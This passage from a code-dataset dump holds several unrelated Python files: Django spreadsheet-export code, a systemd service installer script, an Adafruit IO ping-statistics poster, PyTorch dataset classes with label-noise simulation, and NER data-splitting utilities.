\"public/fund/\" + fund.public_id + \".xlsx\",\n                \"fund/\" + fund.public_id + \".xlsx\",\n            )\n\n        for project in Project.objects.filter(exists=True, status_public=True):\n            _put_file_in_zip_file(\n                [zipfile_all],\n                \"public/project/\" + project.public_id + \".xlsx\",\n                \"project/\" + project.public_id + \".xlsx\",\n            )\n\n    # Move to Django Storage\n    default_storage.delete(\"public/all_data_as_spreadsheets.zip\")\n    with open(filename, \"rb\") as fp:\n        default_storage.save(\n            \"public/all_data_as_spreadsheets.zip\",\n            ContentFile(fp.read()),\n        )\n\n    # Delete Temp file\n    os.remove(filename)\n\n    # ---------------------------------------- Pipeline data\n    # Create Temp Files\n    file = tempfile.NamedTemporaryFile(delete=False, suffix=\".zip\")\n    filename = file.name\n    file.close()\n\n    # Contents\n    with ZipFile(filename, \"w\") as zipfile_all:\n\n        for pipeline in Pipeline.objects.filter(exists=True, status_public=True):\n            _put_file_in_zip_file(\n                [zipfile_all],\n                \"public/pipeline/\" + pipeline.public_id + \".xlsx\",\n                \"pipeline/\" + pipeline.public_id + \".xlsx\",\n            )\n\n    # Move to Django Storage\n    default_storage.delete(\"public/pipeline_data_as_spreadsheets.zip\")\n    with open(filename, \"rb\") as fp:\n        default_storage.save(\n            \"public/pipeline_data_as_spreadsheets.zip\",\n            ContentFile(fp.read()),\n        )\n\n    # Delete Temp file\n    os.remove(filename)\n\n\ndef _put_file_in_zip_file(zipfiles, file_name_in_storage, file_name_in_zip):\n    if default_storage.exists(file_name_in_storage):\n        with default_storage.open(file_name_in_storage, \"rb\") as fp:\n            data = fp.read()\n            for zipfile in zipfiles:\n                zipfile.writestr(file_name_in_zip, data)\n\n\ndef update_data_quality_report_file_for_all_projects():\n\n    data_quality_report = DataQualityReportForAllProjects()\n\n    # Data\n    data = {\"single_fields\": [], \"list_fields\": []}\n\n    # Single Field data\n    for field in data_quality_report.get_possible_fields_for_single_field_statistics():\n        field_data = data_quality_report.get_single_field_statistics_for_field(field)\n        field_data[\"field\"] = field\n        data[\"single_fields\"].append(field_data)\n\n    # List Field data\n    for field in data_quality_report.get_possible_fields_for_list_field_statistics():\n        field_data = data_quality_report.get_list_field_statistics_for_field(field)\n        field_data[\"field\"] = field\n        data[\"list_fields\"].append(field_data)\n\n    # Create in Temp\n    guide_file = settings.JSONDATAFERRET_TYPE_INFORMATION[\"project\"][\n        \"spreadsheet_data_quality_report_public_guide\"\n    ]\n    file = tempfile.NamedTemporaryFile(delete=False, suffix=\".xlsx\")\n    out_file = file.name\n    file.close()\n    spreadsheetforms.api.put_data_in_form(guide_file, data, out_file)\n\n    # Move to Django Storage\n    default_storage_name_xlsx = \"public/project_data_quality_report.xlsx\"\n    default_storage.delete(default_storage_name_xlsx)\n    with open(out_file, \"rb\") as fp:\n        default_storage.save(default_storage_name_xlsx, ContentFile(fp.read()))\n\n    # Delete Temp file\n    os.remove(out_file)\n","repo_name":"INDIGO-Initiative/database-app","sub_path":"indigo/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":13305,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"42630808600","text":"import sys, os, logging,  traceback\nimport json\nimport shutil\nfrom subprocess import Popen, PIPE\nimport subprocess\nimport time\n\nlogger = logging.getLogger(__name__)\n\nINSTALLATION_ROOT_DIR = \"/opt\" \nAPP_NAME=\"graceful_shutdown\"\nBUILD_ARCH=\"{BUILD_ARCH}\"\nTAR_GZ_FILE= \"{}.{}.tar.gz\".format(APP_NAME, BUILD_ARCH)\nRUN_SH_FILE=\"run.sh\"       \nSERVICE_FILE=\"{}.service\".format(APP_NAME)  \n\nINSTALL_DIR=os.path.join(INSTALLATION_ROOT_DIR, APP_NAME)\nINSTALL_BIN_DIR=os.path.join(INSTALL_DIR, BUILD_ARCH)\n\n\ndef extract_file(tar_gz_file_path: str, target_folder: str, slient: bool=True):\n\n    success =False\n    msg = ''\n    options = \"-zxvf\"\n    if slient:\n        options = \"-zxf\"\n    cmd = \"tar {} {} -C {}\".format(options, tar_gz_file_path ,target_folder)\n    logger.debug(cmd)\n    \n    try:\n        process = subprocess.Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE)\n        output,error = process.communicate()\n    except:\n        exc_type, exc_value, exc_traceback = sys.exc_info()\n        logging.info(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback)))\n        return success, 'internal error'\n    \n    # logger.debug('output : {}'.format(output)) \n    if process.returncode != 0:\n        logger.debug('error : {}'.format(error.decode('utf-8')))  \n        msg =error.decode('utf-8')\n    else:\n        success = True\n    \n    return success,  msg\n\ndef enable_service(service_name):\n    \n    success =False\n    msg = ''\n    cmd = \"systemctl enable {}\".format(service_name)\n    logger.debug(cmd)\n    \n    try:\n        process = subprocess.Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE)\n        output,error = process.communicate()\n    except:\n        exc_type, exc_value, exc_traceback = sys.exc_info()\n        logging.info(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback)))\n        return success, 'internal error'\n    \n    # logger.debug('output : {}'.format(output)) \n    if process.returncode != 0:\n        logger.debug('error : {}'.format(error.decode('utf-8')))  \n        msg =error.decode('utf-8')\n    else:\n        success = True\n    \n    return success,  msg\n\ndef disable_service(service_name):\n    success =False\n    msg = ''\n    cmd = \"systemctl disable {}\".format(service_name)\n    logger.debug(cmd)\n    \n    try:\n        process = subprocess.Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE)\n        output,error = process.communicate()\n    except:\n        exc_type, exc_value, exc_traceback = sys.exc_info()\n        logging.info(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback)))\n        return success, 'internal error'\n    \n    # logger.debug('output : {}'.format(output)) \n    if process.returncode != 0:\n        logger.debug('error : {}'.format(error.decode('utf-8')))  \n        msg =error.decode('utf-8')\n    else:\n        success = True\n    \n    return success,  msg\n\ndef daemon_reload():\n    success =False\n    msg = ''\n    cmd = \"systemctl daemon-reload\"\n    logger.debug(cmd)\n    \n    try:\n        process = subprocess.Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE)\n        output,error = process.communicate()\n    except:\n        exc_type, exc_value, exc_traceback = sys.exc_info()\n        logging.info(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback)))\n        return success, 'internal error'\n    \n    # logger.debug('output : {}'.format(output)) \n    if process.returncode != 0:\n        logger.debug('error : {}'.format(error.decode('utf-8')))  \n        msg =error.decode('utf-8')\n    else:\n        success = True\n    \n    return success,  msg    \n\ndef start_service(service_name):\n    success =False\n    msg = ''\n    cmd = \"systemctl start {}\".format(service_name)\n    logger.debug(cmd)\n    \n    try:\n        process = subprocess.Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE)\n        output,error = process.communicate()\n    except:\n        exc_type, exc_value, exc_traceback = sys.exc_info()\n        logging.info(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback)))\n        return success, 'internal error'\n    \n    # logger.debug('output : {}'.format(output)) \n    if process.returncode != 0:\n        logger.debug('error : {}'.format(error.decode('utf-8')))  \n        msg =error.decode('utf-8')\n    else:\n        success = True\n    \n    return success,  msg\n\ndef stop_service(service_name):\n    success =False\n    msg = ''\n    cmd = \"systemctl stop {}\".format(service_name)\n    logger.debug(cmd)\n    \n    try:\n        process = subprocess.Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE)\n        output,error = process.communicate()\n    except:\n        exc_type, exc_value, exc_traceback = sys.exc_info()\n        logging.info(''.join(traceback.format_exception(exc_type, exc_value, exc_traceback)))\n        return success, 'internal error'\n    \n    # logger.debug('output : {}'.format(output)) \n    if process.returncode != 0:\n        logger.debug('error : {}'.format(error.decode('utf-8')))  \n        msg =error.decode('utf-8')\n    else:\n        success = True\n    \n    return success,  msg\n\nif __name__ == '__main__':\n\n    # here, assume the executor has admin previliage    \n    logFileName=os.path.join(INSTALL_DIR, \"install.log\")\n    os.makedirs(os.path.dirname(logFileName), exist_ok=True)\n    logging.basicConfig(\n        level=logging.DEBUG,\n        format='%(asctime)s %(levelname)s %(filename)s(%(lineno)d) %(message)s'\n    )\n    force_start=True\n    current_dir = os.path.abspath(os.path.dirname(__file__))\n    logger.info(\"current_dir: \" + current_dir)\n    \n    # check ota file exists\n    ota_file = os.path.join(current_dir, TAR_GZ_FILE)\n    if not os.path.exists(ota_file):\n        logger.info(\"{} doesn't exist\", ota_file)\n        os._exit(-1)\n    \n    # shutdown service\n    if os.path.exists(os.path.join(\"/etc/systemd/system\", SERVICE_FILE)):\n        stop_service(SERVICE_FILE)\n        disable_service(SERVICE_FILE)\n        logger.info(\"shutdown service {} completed.\".format(SERVICE_FILE))\n    \n    if not os.path.exists(INSTALL_DIR):\n        os.makedirs(INSTALL_DIR, exist_ok=True)\n    \n\n            \n    # extract tar.gz to INSTALL_BIN_DIR folder\n    success, error=extract_file(ota_file, INSTALL_DIR)\n    if not success:\n        logger.info(\"extract file({}) with error: {}\", ota_file, error)\n        os._exit(-2)\n        \n    logger.info(\"begin to copy run.sh\")\n    source_run_sh_file = os.path.join(current_dir, RUN_SH_FILE)\n    dest_run_sh_file = os.path.join(INSTALL_DIR, RUN_SH_FILE)\n    shutil.copyfile(source_run_sh_file, dest_run_sh_file)\n    os.chmod(dest_run_sh_file, 0o755)\n    logger.info(\"copy run.sh completed\")\n\n    logger.info(\"install service\")\n    source_service_file = os.path.join(current_dir, SERVICE_FILE)\n    dest_service_file = os.path.join(\"/etc/systemd/system/\", SERVICE_FILE)\n    shutil.copy(source_service_file, dest_service_file)\n    success, error = daemon_reload()\n    if not success:\n        logger.info(\"daemon_reload failed\")\n        os._exit(-1)\n    success, error = enable_service(SERVICE_FILE)\n    if not success:\n        logger.info(\"enable {} failed\".format(SERVICE_FILE))\n        os._exit(-1)\n    \n    logger.info(\"install service completed\")\n    \n    if force_start:\n        success, error = start_service(SERVICE_FILE)\n        if not success:\n            logger.info(\"start {} failed\".format(SERVICE_FILE))\n            os._exit(1)\n            \n    logging.info(\"completed\")","repo_name":"LarryMai/GracefulShutDown","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":7427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5317826762","text":"import requests\n\nresp = requests.get('https://io.adafruit.com/api/feeds/ping/data', headers={'x-aio-key':'YOUR_ADAFRUIT_API_KEY'})\nif resp.status_code != 200:\n    # This means something went wrong.\n    raise ApiError('GET /tasks/ {}'.format(resp.status_code))\n\ncount = 0\nping_list = []\nping_avg = 0\n\n\nfor item in resp.json():\n    print('{} {}'.format(item['id'], item['value']))\n    count = count + 1\n    print('Count: ', count)\n    ping_list.append(round(float(item['value']), 3))\n\n\nping_avg = round(sum(ping_list)/len(ping_list), 3)\n\nping_min = ping_list[0]\nping_max = ping_list[0]\n\nfor ping in ping_list:\n    #print('ping_list value: ', ping)\n    if ping < ping_min: \n        ping_min = ping\n        #print('new ping_min value: ', ping_min)\n    if ping > ping_max: \n        ping_max = ping\n        #print('new ping_max value: ', ping_max)\n    \navg_url = \"https://io.adafruit.com/api/feeds/ping-avg/data\"\n\navg_payload = \"{\\n\\t\\\"value\\\":\\\"\" + str(ping_avg) + \"\\\"\\n}\"\navg_headers = {\n    'x-aio-key': \"YOUR_ADAFRUIT_API_KEY\",\n    'content-type': \"application/json\"\n    }\n\navg_response = requests.request(\"POST\", avg_url, data=avg_payload, headers=avg_headers)\n\nprint(avg_response.text)\n\nmin_url = \"https://io.adafruit.com/api/feeds/ping-min/data\"\n\nmin_payload = \"{\\n\\t\\\"value\\\":\\\"\" + str(ping_min) + \"\\\"\\n}\"\nmin_headers = {\n    'x-aio-key': \"YOUR_ADAFRUIT_API_KEY\",\n    'content-type': \"application/json\"\n    }\n\nmin_response = requests.request(\"POST\", min_url, data=min_payload, headers=min_headers)\n\nprint(min_response.text)\n\nmax_url = \"https://io.adafruit.com/api/feeds/ping-max/data\"\n\nmax_payload = \"{\\n\\t\\\"value\\\":\\\"\" + str(ping_max) + \"\\\"\\n}\"\nmax_headers = {\n    'x-aio-key': \"YOUR_ADAFRUIT_API_KEY\",\n    'content-type': \"application/json\"\n    }\n\nmax_response = requests.request(\"POST\", max_url, data=max_payload, headers=max_headers)\n\nprint(max_response.text)\n","repo_name":"HaywardPeirce/Pi-Web-Status-Display","sub_path":"ping_calculations_API.py","file_name":"ping_calculations_API.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17375084644","text":"import os\nimport gc\nimport PIL\nimport shutil\nimport string\nimport torch\nimport torchvision\nimport numpy as np\n\n\n    \n########################\n# TinyImageNet dataset #\n########################\n# https://github.com/luoyan407/congruency/blob/master/train_timgnet.py\ndef parse_classes(file):\n    classes = []\n    filenames = []\n    with open(file) as f:\n        lines = f.readlines()\n    lines = [x.strip() for x in lines]\n    for x in range(len(lines)):\n        tokens = lines[x].split()\n        classes.append(tokens[1])\n        filenames.append(tokens[0])\n    return filenames, classes\n\nclass TinyImageNetDataset(torch.utils.data.Dataset):\n    \"\"\"Dataset wrapping images and ground truths.\"\"\"\n    def __init__(self, img_path, gt_path, class_to_idx=None, transform=None):\n        self.img_path = img_path\n        self.transform = transform\n        self.gt_path = gt_path\n        self.class_to_idx = class_to_idx\n        self.classidx = []\n        self.imgs, self.classnames = parse_classes(gt_path)\n        for classname in self.classnames:\n            self.classidx.append(self.class_to_idx[classname])\n\n    def __getitem__(self, index):\n        \"\"\"\n        Args:\n            index (int): Index\n        Returns:\n            tuple: (image, y) where y is the label of the image.\n        \"\"\"\n        img = None\n        with open(os.path.join(self.img_path, self.imgs[index]), 'rb') as f:\n            img = PIL.Image.open(f).convert('RGB')\n            if self.transform is not None:\n                img = self.transform(img)\n        y = self.classidx[index]\n        return img, y\n\n    def __len__(self):\n        return len(self.imgs)\n    \n########################################\n# Dataset prepared in `LEAF` benchmark #\n########################################\n# base dataset class for LEAF benchmark dataset\nclass LEAFDataset(torch.utils.data.Dataset):\n    def __init__(self):\n        super(LEAFDataset, self).__init__()\n        self._id = None\n        self._data = None\n        self._num_samples = 0\n\n    @property\n    def identifier(self):\n        return self._id\n    \n    @identifier.setter\n    def identifier(self, identifier):\n        self._id = identifier  \n        \n    @property\n    def data(self):\n        return self._data\n\n    @data.setter\n    def data(self, data):\n        self._data = data  \n        \n    def __getitem__(self, index):\n        raise NotImplementedError('[ERROR] subclass should implement this!')\n\n    def __len__(self):\n        raise NotImplementedError('[ERROR] subclass should implement this!')\n\n# LEAF - FEMNIST\nclass FEMNISTDataset(LEAFDataset):\n    def __init__(self, train=None):\n        super(FEMNISTDataset, self).__init__()\n        self.train = train\n\n    def _make_dataset(self):\n        self.inputs, self.targets = self.data['x'], self.data['y']\n        self.inputs = torch.tensor(self.inputs)\n        self.targets = torch.tensor(self.targets).long()\n        \n    def __getitem__(self, index):\n        # get corresponding inputs & targets pair\n        inputs, targets = self.inputs[index].reshape(-1, 28, 28), self.targets[index]\n        return inputs, targets\n    \n    def __len__(self):\n        return len(self.inputs)\n    \n# LEAF - Shakespeare\nclass ShakespeareDataset(LEAFDataset):\n    def __init__(self, train=None):\n        super(ShakespeareDataset, self).__init__()\n        self.train = train\n        self.all_characters = string.printable\n        self.vocab_size = len(self.all_characters)\n        \n    def _make_dataset(self):\n        self.inputs, self.targets = self.data['x'], self.data['y']\n        self._build_mapping()\n        self._tokenize()\n        self.inputs = torch.tensor(self.inputs).long()\n        self.targets = torch.tensor(self.targets).long()\n        \n    def _build_mapping(self):\n        self.char_to_idx = dict()\n        for idx, char in enumerate(self.all_characters):\n            self.char_to_idx[char] = idx\n        \n    def _tokenize(self):\n        for idx in range(len(self.inputs)):\n            self.inputs[idx] = [self.char_to_idx[char] for char in self.inputs[idx]]\n        \n        for idx in range(len(self.targets)):\n            self.targets[idx] = [self.char_to_idx[char] for char in self.targets[idx]]\n\n    def __getitem__(self, index):\n        return self.inputs[index], self.targets[index][0]\n\n    def __len__(self):\n        return len(self.inputs)\n\n\n\n########################################\n# Dataset for simulating a label noise #\n########################################\n# for simulating a label noise\n# https://github.com/UCSC-REAL/cores/blob/main/data/utils.py\ndef multiclass_noisify(targets, P, seed):\n    assert P.shape[0] == P.shape[1]\n    assert np.max(targets) < P.shape[0]\n    np.testing.assert_array_almost_equal(P.sum(axis=1), np.ones(P.shape[1]))\n    assert (P >= 0.0).all()\n\n    noisy_targets = targets.copy()\n    flipper = np.random.RandomState(seed)\n\n    for idx in np.arange(len(targets)):\n        i = targets[idx]\n        flipped = flipper.multinomial(n=1, pvals=P[i, :], size=1)[0]\n        noisy_targets[idx] = np.where(flipped == 1)[0]\n    return noisy_targets\n\ndef multiclass_pair_noisify(targets, noise_rate, seed, num_classes):\n    P = np.eye(num_classes)\n\n    if noise_rate > 0.0:\n        # 0 -> 1\n        P[0, 0], P[0, 1] = 1. - noise_rate, noise_rate\n        for i in range(1, num_classes-1):\n            P[i, i], P[i, i + 1] = 1. - noise_rate, noise_rate\n        P[num_classes - 1, num_classes - 1], P[num_classes - 1, 0] = 1. - noise_rate, noise_rate\n \n        noisy_targets = multiclass_noisify(targets, P=P, seed=seed)\n        actual_noise = (np.array(noisy_targets).flatten() != np.array(targets).flatten()).mean()\n        assert actual_noise > 0.0\n    return np.array(noisy_targets).flatten(), actual_noise\n        \ndef multiclass_symmetric_noisify(targets, noise_rate, seed, num_classes):\n    P = np.ones((num_classes, num_classes))\n    P *= (noise_rate / (num_classes - 1)) \n\n    if noise_rate > 0.0:\n        # 0 -> 1\n        P[0, 0] = 1. - noise_rate\n        for i in range(1, num_classes-1):\n            P[i, i] = 1. - noise_rate\n        P[num_classes - 1, num_classes - 1] = 1. - noise_rate\n\n        noisy_targets = multiclass_noisify(targets, P, seed)\n        actual_noise = (np.array(noisy_targets).flatten() != np.array(targets).flatten()).mean()\n        assert actual_noise > 0.0\n    return np.array(noisy_targets).flatten(), actual_noise\n\nclass LabelNoiseDataset(torch.utils.data.Dataset):\n    def __init__(self, args, dataset, transform):\n        super(LabelNoiseDataset, self).__init__()\n        self.dataset = args.dataset\n        self.transform = transform\n        self.noise_rate = args.noise_rate\n        self.inputs, self.targets = np.array(dataset.data), np.array(dataset.targets)\n        del dataset; gc.collect()\n        \n        # inject label noise\n        if args.noise_type == 'pair':\n            noisy_targets, actual_noise_rate = multiclass_symmetric_noisify(targets=self.targets, noise_rate=args.noise_rate, seed=args.global_seed, num_classes=args.num_classes)\n        elif args.noise_type == 'symmetric':\n            noisy_targets, actual_noise_rate = multiclass_pair_noisify(targets=self.targets, noise_rate=args.noise_rate, seed=args.global_seed, num_classes=args.num_classes)\n        self.noise_mask = np.transpose(noisy_targets) != np.transpose(self.targets)\n        self.targets, self.original_targets = noisy_targets, self.targets\n    \n    def __len__(self):\n        return len(self.inputs)\n\n    def __getitem__(self, index):\n        inputs, targets = self.inputs[index], self.targets[index]\n        if self.dataset == 'MNIST':\n            inputs = PIL.Image.fromarray(inputs, mode='L')\n        else:\n            inputs = PIL.Image.fromarray(inputs, mode='RGB')\n        if self.transform is not None:\n            inputs = self.transform(inputs)\n        return inputs, targets\n    \n    def get_noise_mask(self):\n        return self.noise_mask\n    \n    def get_original_targets(self):\n        return self.original_targets\n    \n    ","repo_name":"vaseline555/SuPerFed","sub_path":"src/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":7979,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"}
+{"seq_id":"18991099293","text":"\nimport torch\nimport torch.nn as nn\nimport os\nimport numpy as np\nimport random\nimport logging\nimport pickle\nfrom tqdm import tqdm\nfrom transformers import AutoTokenizer\nfrom torch.utils.data import DataLoader\nfrom copy import deepcopy\n\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom src.config import get_params\n\nlogger = logging.getLogger()\nparams = get_params()\nauto_tokenizer = AutoTokenizer.from_pretrained(params.model_name)\npad_token_label_id = nn.CrossEntropyLoss().ignore_index\nmax_seq_length = params.max_seq_length\n\n# domain name to entity list\ndomain2entity={\n    # #conll2003=4\n    'conll2003': ['location', 'misc', 'organisation', 'person'], \n    # #ontonotes5=18\n    'ontonotes5': ['CARDINAL', 'DATE', 'EVENT', 'FAC', 'GPE', 'LANGUAGE', 'LAW', 'LOC', 'MONEY', 'NORP', 'ORDINAL', 'ORG', 'PERCENT', 'PERSON', 'PRODUCT', 'QUANTITY', 'TIME', 'WORK_OF_ART'],\n    # #i2b2=16 \n    'i2b2': ['AGE', 'CITY', 'COUNTRY', 'DATE', 'DOCTOR', 'HOSPITAL', 'IDNUM', 'MEDICALRECORD', 'ORGANIZATION', 'PATIENT', 'PHONE', 'PROFESSION', 'STATE', 'STREET', 'USERNAME', 'ZIP'],\n    # #ontonotes4=18\n    'ontonotes4': ['CARDINAL', 'DATE', 'EVENT', 'FAC', 'GPE', 'LANGUAGE', 'LAW', 'LOC', 'MONEY', 'NORP', 'ORDINAL', 'ORG', 'PERCENT', 'PERSON', 'PRODUCT', 'QUANTITY', 'TIME', 'WORK_OF_ART'],   \n    # # #i2b2=12\n    # 'i2b2': ['AGE', 'CITY', 'COUNTRY', 'DATE', 'DOCTOR', 'HOSPITAL', 'IDNUM', 'MEDICALRECORD', 'PATIENT', 'PROFESSION', 'STATE', 'ZIP'],\n    # 'i2b2': ['AGE', 'BIOID', 'CITY', 'COUNTRY', 'DATE', 'DEVICE', 'DOCTOR', 'EMAIL', 'FAX', 'HEALTHPLAN', 'HOSPITAL', 'IDNUM', 'LOCATION_OTHER', 'MEDICALRECORD', 'ORGANIZATION', 'PATIENT', 'PHONE', 'PROFESSION', 'STATE', 'STREET', 'URL', 'USERNAME', 'ZIP'],\n    # 'wnut17': ['corporation', 'creative-work', 'group', 'location', 'person', 'product'],\n}\n\ndef print_split_data_statistic(datapath, phase, entity_list, nb_class_fg, nb_class_pg, schema):\n    label_list = get_default_label_list(entity_list, schema=schema)\n    if isinstance(datapath,list):\n        data_ckpt = os.path.join(datapath[0],'train_fg_%d_pg_%d.pth'%(nb_class_fg,nb_class_pg))\n        # data_ckpt = os.path.join(datapath[0],'train_fg_%d_pg_%d_random.pth'%(nb_class_fg,nb_class_pg))\n    else:\n        data_ckpt = os.path.join(datapath,'train_fg_%d_pg_%d.pth'%(nb_class_fg,nb_class_pg))\n        # data_ckpt = os.path.join(datapath,'train_fg_%d_pg_%d_random.pth'%(nb_class_fg,nb_class_pg))\n    print('Loading data from %s...'%data_ckpt)\n    with open(data_ckpt, \"rb\") as f:\n        inputs_dict, y_dict = pickle.load(f)\n    for k,v in y_dict.items():\n        print('Data split %s:'%k)\n        print(sorted(get_label_distribution(v,label_list,count=True).items(),key=lambda x:x[0]))\n\ndef spilt_dataset_random(datapath, phase, entity_list, nb_class_fg, nb_class_pg, schema):\n    label_list = get_default_label_list(entity_list, schema=schema)\n    all_x, all_y = read_ner(datapath, phase, label_list)\n    entity_idx = 0\n    split_name_list = []\n    entity_2_split = {}\n    split_cnt_dict = {}\n    inputs_dict, y_dict = {}, {}\n\n    num_all_samples = len(all_x)\n    while entity_idx<len(entity_list):\n        if entity_idx==0:\n            split_name = '%d_%d'%(entity_idx, entity_idx+nb_class_fg-1)\n            split_name_list.append(split_name)\n            split_cnt_dict[split_name] = int(num_all_samples*(nb_class_fg/len(entity_list)))\n            for i in range(entity_idx,entity_idx+nb_class_fg):\n                entity_2_split[i]=split_name\n            entity_idx = entity_idx+nb_class_fg\n        else:\n            split_name = '%d_%d'%(entity_idx, entity_idx+nb_class_pg-1)\n            split_name_list.append(split_name)\n            split_cnt_dict[split_name] = int(num_all_samples*(nb_class_pg/len(entity_list)))\n            for i in range(entity_idx,entity_idx+nb_class_pg):\n                entity_2_split[i]=split_name\n            entity_idx = entity_idx+nb_class_pg\n    \n    for split_name in split_name_list:\n        inputs_dict[split_name], y_dict[split_name] = [], []\n\n    for x_sent, y_sent in zip(all_x, all_y):\n        not_full_split = []\n        for i in split_name_list:\n            if split_cnt_dict[i]>0:\n                not_full_split.append(i)\n        if len(not_full_split)==0:\n            break\n        split_name = np.random.choice(not_full_split)\n        inputs_dict[split_name].append(x_sent)\n        y_dict[split_name].append(y_sent)\n        split_cnt_dict[split_name] -= 1\n\n    if isinstance(datapath,list):\n        data_ckpt = os.path.join(datapath[0],'train_fg_%d_pg_%d_random.pth'%(nb_class_fg,nb_class_pg))\n    else:\n        data_ckpt = os.path.join(datapath,'train_fg_%d_pg_%d_random.pth'%(nb_class_fg,nb_class_pg))\n    logger.info('Saving data to %s...'%data_ckpt)\n    with open(data_ckpt, \"wb\") as f:\n        pickle.dump((inputs_dict, y_dict), f)\n\n\ndef spilt_dataset(datapath, phase, entity_list, nb_class_fg, nb_class_pg, schema):\n    label_list = get_default_label_list(entity_list, schema=schema)\n    all_x, all_y = read_ner(datapath, phase, label_list)\n    entity_idx = 0\n    split_name_list = []\n    entity_2_split = {}\n    split_cnt_dict = {}\n    inputs_dict, y_dict = {}, {}\n\n    num_all_samples = len(all_x)\n    while entity_idx<len(entity_list):\n        if entity_idx==0:\n            split_name = '%d_%d'%(entity_idx, entity_idx+nb_class_fg-1)\n            split_name_list.append(split_name)\n            split_cnt_dict[split_name] = int(num_all_samples*(nb_class_fg/len(entity_list)))\n            for i in range(entity_idx,entity_idx+nb_class_fg):\n                entity_2_split[i]=split_name\n            entity_idx = entity_idx+nb_class_fg\n        else:\n            split_name = '%d_%d'%(entity_idx, entity_idx+nb_class_pg-1)\n            split_name_list.append(split_name)\n            split_cnt_dict[split_name] = int(num_all_samples*(nb_class_pg/len(entity_list)))\n            for i in range(entity_idx,entity_idx+nb_class_pg):\n                entity_2_split[i]=split_name\n            entity_idx = entity_idx+nb_class_pg\n    \n    for split_name in split_name_list:\n        inputs_dict[split_name], y_dict[split_name] = [], []\n\n    # Sorted by the frequency\n    label_count_train = get_label_distribution(all_y, label_list, count=True)\n    # entity_label_list = sorted(label_count_train, key=lambda x:label_count_train[x])\n\n    for x_sent, y_sent in zip(all_x, all_y):\n        entity_set = list(set([(i-1)//(len(schema)-1) for i in list(set(y_sent)-set([0,-100]))]))\n        sorted_entity_set = sorted(entity_set, key=lambda x:label_count_train[entity_list[x]])\n        is_break = False\n        for entity_idx in sorted_entity_set:\n            split_name = entity_2_split[entity_idx]\n            if split_cnt_dict[split_name]>0:\n                inputs_dict[split_name].append(x_sent)\n                y_dict[split_name].append(y_sent)\n                split_cnt_dict[split_name] -= 1\n                is_break = True\n                break\n        if not is_break:\n            not_full_split = []\n            for k,v in split_cnt_dict.items():\n                if v>0:\n                    not_full_split.append(k)\n            if len(not_full_split)>0:\n                split_name = np.random.choice(not_full_split)\n                inputs_dict[split_name].append(x_sent)\n                y_dict[split_name].append(y_sent)\n                split_cnt_dict[split_name] -= 1\n                \n    # print([len(v) for k,v in inputs_dict.items()])\n    # print([len(v) for k,v in y_dict.items()])\n\n    if isinstance(datapath,list):\n        data_ckpt = os.path.join(datapath[0],'train_fg_%d_pg_%d.pth'%(nb_class_fg,nb_class_pg))\n    else:\n        data_ckpt = os.path.join(datapath,'train_fg_%d_pg_%d.pth'%(nb_class_fg,nb_class_pg))\n    logger.info('Saving data to %s...'%data_ckpt)\n    with open(data_ckpt, \"wb\") as f:\n        pickle.dump((inputs_dict, y_dict), f)\n\ndef convert_BIOES_to_BIO(in_datapath, out_datapath):\n    with open(out_datapath, \"w\", encoding='utf-8') as f_out:\n        with open(in_datapath, \"r\", encoding=\"utf-8\") as f_in:\n            for i, line in enumerate(f_in):\n                line = line.strip()\n                splits = line.split()\n                if line=='':\n                    f_out.write('\\n')\n                    continue\n                else:\n                    label = splits[1]\n                    if 'E-' in line:\n                        line = line.replace('E-','I-')\n                    elif 'S-' in line:\n                        line = line.replace('S-','B-')\n                    f_out.write(line+'\\n')\n\ndef get_entity_list(datapth):\n    label_list=[]\n    with open(datapth, \"r\", encoding=\"utf-8\") as fr:\n        for i, line in enumerate(fr):\n            line = line.strip()\n            splits = line.split()\n            if line==\"\":\n                continue\n            label_list.append(splits[1])\n    # Contains only entity type w/o B-/I-\n    label_list = sorted(list(set(label_list)))\n    entity_list = []\n    for l in label_list:\n        if ('B-' in l) or ('I-' in l) or ('E-' in l) or ('S-' in l): \n            entity_list.append(l[2:])\n    entity_list = list(set(entity_list))\n    print(\"entity_list = %s\"%str(entity_list))\n    return entity_list\n\ndef get_default_label_list(entity_list, schema='BIO'):\n    default_label_list = []\n    default_label_list.append('O')\n    if schema=='IO':\n        for e in entity_list:\n            default_label_list.append('I-'+str(e))\n    elif schema=='BIO':\n        for e in entity_list:\n            default_label_list.append('B-'+str(e))\n            default_label_list.append('I-'+str(e))\n    elif schema=='BIOES':\n        for e in entity_list:\n            default_label_list.append('B-'+str(e))\n            default_label_list.append('I-'+str(e))\n            default_label_list.append('E-'+str(e))\n            default_label_list.append('S-'+str(e))\n    return default_label_list\n\ndef read_ner(datapath, phase, label_list):\n    if isinstance(datapath,list):\n        if len(datapath)>1 and phase!=\"train\":\n            logger.warning(\"In %s phase, more than one domain data are combined!!!\"%(phase))\n        data_path_lst = [os.path.join(_path, phase+\".txt\") for _path in datapath]\n    else:\n        data_path_lst = [os.path.join(datapath, phase+\".txt\")]\n    \n    inputs, ys = [], []\n    for _datapath in data_path_lst:\n        _inputs, _ys = [], []\n        data_ckpt = _datapath[:-4]+'.pth'\n        if os.path.isfile(data_ckpt):\n            logger.info('Loading data from %s...'%data_ckpt)\n            with open(data_ckpt, \"rb\") 